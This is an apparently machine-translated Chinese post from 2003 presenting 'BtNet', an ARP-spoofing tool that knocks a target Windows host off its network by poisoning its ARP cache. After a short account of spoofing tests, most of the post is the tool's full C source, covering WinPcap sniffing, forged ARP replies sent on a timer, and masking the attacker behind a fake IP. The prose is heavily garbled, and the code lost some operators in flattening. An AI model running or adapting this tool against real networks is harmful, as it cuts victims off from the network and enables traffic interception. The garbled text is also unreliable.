文章作者:粗鲁
阿尔普的基础上欺骗的网络攻击程序
写的鲁德
主页: http://xEyes.cdut.net/ruder/ & & http://www.cnwill.com/ruder/
电子邮件: cocoruder@163.com
最近开始学习WinPcap的, 已经看到了很多的基础上撰写的主人欺骗ARP协议捕获工具, 特别是高级Dianzaiketai TOo2y的“谈谈呼吁WinPcap的驱动程序的工具多ARP协议写道: ”我感到非常的收益。 我下面的这个思想统一到ARP协议的攻击程序(目标主机可以断开网络连接)的一些测试。 请跳过硕士, 以免有休闲的拉斯维加斯。
ARP协议欺骗一般是被欺骗的主机ARP协议答复报告的数据来源IP地址, 家里的合同, 东道国欺骗主机地址, 源MAC地址已改变了他们的MAC地址。 假设有两个机器有A , B , 发送ARP协议答覆数据报告的A , 其中源IP地址为B的地址, 源MAC地址我的机器的MAC地址( IPRouter功能, 以确保数据传送至公开) , 然后传送公司的数据报告给我的头发机, 类似的B做同样的手术, 然后在A “ == ”乙数据将流经的机器, 我期待到一个正常ARP协议包若要变更在甲, 乙, 直到ARP高速缓存。
然后, 我们发送到A的ARP协议报告的数据源IP , 源的MAC更改到任何这是会发生什么?这里列举了一些我的测试
1 。 要改变源IP网关的IP , 源的MAC改变MAC地址不存在
在目标主机几乎不影响
2 。 要改变源IP网关的IP , 源的MAC改为随机网络, 但没有公开IPRouter主机的MAC地址
几乎没有任何影响
3 。 要改变源IP网关的IP , 源主机的MAC阅读目标的MAC
净目标主机立即!
当我们发送可以看出通过ARP协议的结构进行真正的目标主机, 将主机的目标改变ARP高速缓存, 数据包的MAC层将是一个时候, 网关IP和MAC地址自己的包在一起, 网关发送给报纸别无选择, 只能发出自己的数据, 哈哈。
至于第一种情况, 怀疑可能是因为MAC地址不存在, 目标将举办一个广播ARP协议请求数据包和更新其ARP高速缓存造成的。
至于第2号案件中, 源MAC地址的嫌疑人将返回各自所在的地址解析答覆的目标主机。
有限, 因此只有一个猜测, 请让我知道不久后, 先谢。
谈论的是, 这些测试只适用于Windows系统, 当然, 还没有经过测试就分配好了成功的红帽。
测试程序( BtNet.exe ) :
用法: BtNet小时attackIP邻gateIP [米spoofedMAC ]
米的参数, 你应该修改源MAC地址。
为了掩盖身份的攻击, 该计划已再次的目标时, 主机MAC地址伪装成的IP : 128.128.128.128 , 陆委会:第5条, 第5条, 第5条, 第5条, 第5条, 第5条, 无法获取MAC地址的目标主机, 然后必须MAC地址的请求通过第三方的工具。
附测试代码
#include "packet32.h" #include "ntddndis.h" #include <stdio.h> #include <conio.h> #include <winsock2.h> #include <windows.h> #pragma comment(lib,"ws2_32") #pragma comment(lib,"packet") #define ETH_IP 0x0800 #define ETH_ARP 0x0806 #define ARP_REQUEST 0x0001 //arp请求包 #define ARP_REPLY 0x0002 //arp应答包 #define ARP_HARDWARE 0x0001 #define max_num_adapter 10 #pragma pack(push,1) typedef struct ethdr { unsigned char eh_dst[6]; //以太网目的地址 unsigned char eh_src[6]; //以太网源地址 unsigned short eh_type; // }ETHDR,*PETHDR; typedef struct arphdr //arp头 { unsigned short arp_hdr; //硬件类型 unsigned short arp_pro; //协议类型 unsigned char arp_hln; //硬件地址长度 unsigned char arp_pln; //协议地址长度 unsigned short arp_opt; // unsigned char arp_sha[6]; //发送端以太网地址 unsigned long arp_spa; //发送端ip地址 unsigned char arp_tha[6]; //接收端以太网地址 unsigned long arp_tpa; //接收端ip地址 }ARPHDR,*PARPHDR; typedef struct ip_mac { u_long ip; unsigned char mac[6]; }IP_MAC,*PIP_MAC; #pragma pack(push) LPADAPTER lpAdapter; char adapterlist[max_num_adapter][1024]; IP_MAC toipandmac; IP_MAC oipandmac,myipandmac; BOOL param6=FALSE; char *noMACstr; char noMAC[6][3]; u_long mytoIP,oIP; BOOL sendtoOip; MSG msg; UINT newtimer; char MYIP[20]="128.128.128.128"; BOOL toipandmac_flag=FALSE,myipandmac_flag=FALSE,oipandmac_flag=FALSE; int getint(char c) { int t=-1; if((c<='9')&&(c>='0')) t=c-'0'; else if((c>='a')&&(c<='f')) t=10+c-'a'; else if((c>='A')&&(c<='F')) t=10+c-'A'; return t; } void start() { printf("BtNet //--an ARP Tool test the Windows Break the Internet\n"); printf("written by Ruder,10/2003\n"); printf("Homepage: http://xEyes.cdut.net/ruder/index.htm\;n"); printf("E-mail: cocoruder@163.com\n"); printf("\nUsage: BtNet -h attackIP -o gateIP [-m spoofedMAC]\n"); printf("Example:\n"); printf("BtNet -h 202.115.138.12 -o 202.115.138.1\n"); printf("BtNet -h 202.115.138.12 -o 202.115.138.1 -m 00-50-fc-6a--6b--7c\n"); printf(" Warning: You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n"); return ; } DWORD WINAPI sniff(LPVOID) { LPPACKET lppackets,lpPacketr; char recvbuf[1024*250]; ULONG ulbytesreceived,off; ETHDR *eth; ARPHDR *arp; char *buf,*pChar,*base; char szTemp[20]; struct bpf_hdr *hdr; if((lppackets=PacketAllocatePacket())==FALSE) { printf("PacketAllocatePacket send Error: %d\n",GetLastError()); return 0; } if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE) { printf("Warning: Unable to set the adapter to promiscuous mode\n"); } if(PacketSetBuff(lpAdapter,500*1024)==FALSE) { printf("PacketSetBuff Error: %d\n",GetLastError()); return 0; } if(PacketSetReadTimeout(lpAdapter,1)==FALSE) { printf("Warning: Unable to set the timeout\n"); } if((lpPacketr=PacketAllocatePacket())==FALSE) { printf("PacketAllocatePacket receive Error: %d\n",GetLastError()); return 0; } PacketInitPacket(lpPacketr,(char *)recvbuf,sizeof(recvbuf)); while(!kbhit()) { if(PacketReceivePacket(lpAdapter,lpPacketr,TRUE)==FALSE) { return 0; } //getdata(lppacketr,option); ulbytesreceived=lpPacketr->ulBytesReceived; buf=(char *)lpPacketr->Buffer; off=0; while(off<ulbytesreceived) { if(kbhit()) { return 0; } hdr=(struct bpf_hdr *)(buf+off); off+=hdr->bh_hdrlen; pChar=(char *)(buf+off); base=pChar; off=Packet_WORDALIGN(off+hdr->bh_caplen); eth=(PETHDR)pChar; //以太头 arp=(PARPHDR)(pChar+sizeof(ETHDR)); //arp头 int i; if((eth->eh_type==htons(ETH_ARP))&& (arp->arp_opt==htons(ARP_REPLY))) { //if (arp->arp_tpa==htonl(ntohl(inet_addr(MYIP)))) { if(oipandmac_flag&&myipandmac_flag&&toipandmac_flag) return 0; if (((toipandmac.ip==htonl(arp->arp_spa))&&(toipandmac_flag==FALSE)) ((myipandmac.ip==htonl(arp->arp_spa))&&(myipandmac_flag==FALSE)) ((oipandmac.ip==htonl(arp->arp_spa))&&(oipandmac_flag==FALSE))) { memset(szTemp,0,sizeof(szTemp)); memcpy(szTemp,&arp->arp_spa,sizeof(arp->arp_spa)); printf("[IP]:"); printf("%s",inet_ntoa(*((struct in_addr *)szTemp))); printf("[MAC]:"); for(i=0;i<5;i++) { printf("%.2x-",eth->eh_src[i]); } printf("%.2x",eth->eh_src[5]); printf("\n"); if (toipandmac.ip==htonl(arp->arp_spa)) { for(i=0;i<6;i++) toipandmac.mac[i]=eth->eh_src[i]; toipandmac_flag=TRUE; } if (oipandmac.ip==htonl(arp->arp_spa)) { for(i=0;i<6;i++) oipandmac.mac[i]=eth->eh_src[i]; oipandmac_flag=TRUE; // printf("if you have get the MAC Addresses enough,Press any key for staring!\n"); } if(myipandmac.ip==htonl(arp->arp_spa)) { for(i=0;i<6;i++) myipandmac.mac[i]=eth->eh_src[i]; myipandmac_flag=TRUE; } } } } continue; } } return 0; } DWORD WINAPI sendARPPacket(LPVOID dwsendtoIP) { LPPACKET lpPacket; ETHDR eth; ARPHDR arphdr; int i; char szPacketBuf[600]; u_long sendtoIP=*(u_long *)dwsendtoIP; //struct sockaddr_in sin; lpPacket = PacketAllocatePacket(); if(lpPacket==NULL) { printf("\nPacketAllocatePacket error!"); return 0; } eth.eh_type=htons(ETH_ARP); for(i=0;i<6;i++) { eth.eh_dst[i]=0xff; eth.eh_src[i]=0xa5; arphdr.arp_sha[i]=0xa5; arphdr.arp_tha[i]=0xff; } arphdr.arp_hdr=htons(ARP_HARDWARE); arphdr.arp_pro=htons(ETH_IP); arphdr.arp_opt=htons(ARP_REQUEST); arphdr.arp_hln=6; arphdr.arp_pln=4; arphdr.arp_tpa=htonl(sendtoIP); arphdr.arp_spa=htonl(ntohl(inet_addr(MYIP))); if(sendtoOip) { if(myipandmac_flag) { for(i=0;i<6;i++) { eth.eh_src[i]=myipandmac.mac[i]; arphdr.arp_sha[i]=myipandmac.mac[i]; arphdr.arp_spa=htonl(myipandmac.ip); //memset(MYIP,0,sizeof(MYIP)); } } else { printf("My MAC Address Can't Find!\n"); return 0; } } memset(szPacketBuf,0,sizeof(szPacketBuf)); memcpy(szPacketBuf,ð,sizeof(ETHDR)); memcpy(szPacketBuf+sizeof(ETHDR),&arphdr,sizeof(ARPHDR)); PacketInitPacket(lpPacket,szPacketBuf,60); if(PacketSetNumWrites(lpAdapter, 1)==FALSE) { printf("warning: Unable to send more than one packet in a single write!\n"); } if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE) { printf("Error sending the packets!\n"); PacketFreePacket(lpPacket); return 0; } PacketFreePacket(lpPacket); return 0; } DWORD WINAPI sendSR() { ETHDR eth; ARPHDR arphdr; int i; char szPacketBuf[600]; LPPACKET lpPacket; unsigned char toMAC[6]; struct sockaddr_in sin; u_long toIP=mytoIP; //if ((myipandmac_flag==FALSE) (oipandmac_flag==FALSE) (toipandmac_flag==FALSE)) //{ // printf("Can't get all MAC address!\n"); // return 0; //} lpPacket = PacketAllocatePacket(); if(lpPacket == NULL) { printf("\nError:failed to allocate the LPPACKET structure.\n"); return 0; } if (toipandmac_flag==FALSE) { printf("Can't get toMAC address!\n"); return 0; } memset(toMAC,0,sizeof(toMAC)); memcpy(toMAC,&toipandmac.mac,sizeof(toipandmac.mac)); if (param6) { for(i=0;i<6;i++) { int t1,t2; char c1,c2; c1=noMAC[i][0]; c2=noMAC[i][1]; t1=getint(c1); t2=getint(c2); if((t1==-1) (t2==-1)) { printf("-m parameter error!\n"); return 0; } eth.eh_src[i]=t1*16+t2; eth.eh_dst[i]=toMAC[i]; arphdr.arp_sha[i]=t1*16+t2; arphdr.arp_tha[i]=toMAC[i]; } } else { for(i=0;i<6;i++) { eth.eh_src[i]=toMAC[i]; eth.eh_dst[i]=toMAC[i]; arphdr.arp_sha[i]=toMAC[i]; arphdr.arp_tha[i]=toMAC[i]; } } eth.eh_type=htons(ETH_ARP); arphdr.arp_spa=htonl(oIP); arphdr.arp_tpa=htonl(toIP); arphdr.arp_hdr=htons(ARP_HARDWARE); arphdr.arp_pro=htons(ETH_IP); arphdr.arp_opt=htons(ARP_REPLY); arphdr.arp_hln=6; arphdr.arp_pln=4; memset(szPacketBuf,0,sizeof(szPacketBuf)); memcpy(szPacketBuf,ð,sizeof(ETHDR)); memcpy(szPacketBuf+sizeof(ETHDR),&arphdr,sizeof(ARPHDR)); PacketInitPacket(lpPacket,szPacketBuf,60); if(PacketSetNumWrites(lpAdapter, 1)==FALSE) { printf("warning: Unable to send more than one packet in a single write!\n"); } if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE) { printf("Error sending the packets!\n"); PacketFreePacket(lpPacket); return 0; } PacketFreePacket(lpPacket); sin.sin_addr.s_addr=arphdr.arp_tpa; printf("spoof %s: ",inet_ntoa(sin.sin_addr)); sin.sin_addr.s_addr=arphdr.arp_spa; printf("%s-->",inet_ntoa(sin.sin_addr)); for(i=0;i<5;i++) printf("%.2x-",arphdr.arp_sha[i]); printf("%x",arphdr.arp_sha[5]); printf("\n"); return 0; } DWORD WINAPI sendSRTimer(LPVOID dwtoIP) { printf("Waiting spoof Start\n"); mytoIP=*(u_long *)dwtoIP; newtimer=SetTimer(NULL,NULL,5*1000,TIMERPROC(sendSR)); while(GetMessage(&msg,0,0,0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return 0; } int main(int argc,char *argv[]) { HANDLE thread1,thread2,thread3; WCHAR adaptername[8192]; WCHAR *name1,*name2; ULONG adapterlength; DWORD threadid1,threadid2,threadid3; u_long toIP,myip; struct NetType ntype; struct sockaddr_in sin; struct npf_if_addr ipbuff; int adapternum=0,opti=0,open,i,j; long npflen; if((argc!=5)&&(argc!=7)) { start(); return 0; } else if((strcmp(argv[1],"-h")!=0) (strcmp(argv[3],"-o")!=0)) { start(); return 0; } toIP=ntohl(inet_addr(argv[2])); oIP=ntohl(inet_addr(argv[4])); if (argv[5]!=NULL) { if (strcmp(argv[5],"-m")==0) { noMACstr=argv[6]; j=0; for(i=0;i<6;i++) { memset(noMAC[i],0,sizeof(noMAC[i])); memcpy(noMAC[i],noMACstr,2); noMACstr=noMACstr+3; } param6=TRUE; } } printf("\nLibarary Version: %s",PacketGetVersion()); adapterlength=sizeof(adaptername); if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE) //得到网卡列表 { printf("PacketGetAdapterNames Error: %d\n",GetLastError()); return -1; } name1=adaptername; name2=adaptername; i=0; while((*name1!='\0') (*(name1-1)!='\0')) { if(*name1=='\0') { memcpy(adapterlist[i],name2,2*(name1-name2)); name2=name1+1; i++; } name1++; } adapternum=i; printf("\nAdapters Installed:\n"); for(i=0;i<adapternum;i++) wprintf(L"%d - %s\n",i+1,adapterlist[i]); do { printf("\nSelect the number of the adapter to open: "); scanf("%d",&open); if(open>=1 && open<=adapternum) break; }while(open<1 open>adapternum); lpAdapter=PacketOpenAdapter(adapterlist[open-1]); if(!lpAdapter (lpAdapter->hFile==INVALID_HANDLE_value)) { printf("PacketOpenAdapter Error: %d\n",GetLastError()); return -1; } if(PacketGetNetType(lpAdapter,&ntype)) { printf("\n\t\t*** Host Information ***\n"); printf("[LinkTpye:]\t%d\t\t",ntype.LinkType); printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed); } npflen=sizeof(ipbuff); if(PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen)) { sin=*(struct sockaddr_in *)&(ipbuff.Broadcast); printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr)); sin=*(struct sockaddr_in *)&(ipbuff.SubnetMask); printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr)); sin=*(struct sockaddr_in *)&(ipbuff.IPAddress); printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr)); myip=ntohl(sin.sin_addr.s_addr); printf("[MACAddress:]"); } else { printf("\nNot get enough data\n"); //PacketFreePacket(lppackets); PacketCloseAdapter(lpAdapter); return -1; } printf("\n"); oipandmac.ip=oIP; toipandmac.ip=toIP; myipandmac.ip=myip; sendtoOip=FALSE; thread1=CreateThread(NULL,0,sniff,NULL,0,&threadid1); Sleep(300); thread2=CreateThread(NULL,0,sendARPPacket,(LPVOID)&myip,0,&threadid2); Sleep(100); CloseHandle(thread2); thread2=CreateThread(NULL,0,sendARPPacket,(LPVOID)&toIP,0,&threadid2); Sleep(10); CloseHandle(thread2); sendtoOip=TRUE; Sleep(200); thread2=CreateThread(NULL,0,sendARPPacket,(LPVOID)&oIP,0,&threadid2); Sleep(10); CloseHandle(thread2); // WaitForSingleObject(thread1,INFINITE); thread3=CreateThread(NULL,0,sendSRTimer,(LPVOID)&toIP,0,&threadid3); WaitForSingleObject(thread3,INFINITE); PacketCloseAdapter(lpAdapter); return 0; }
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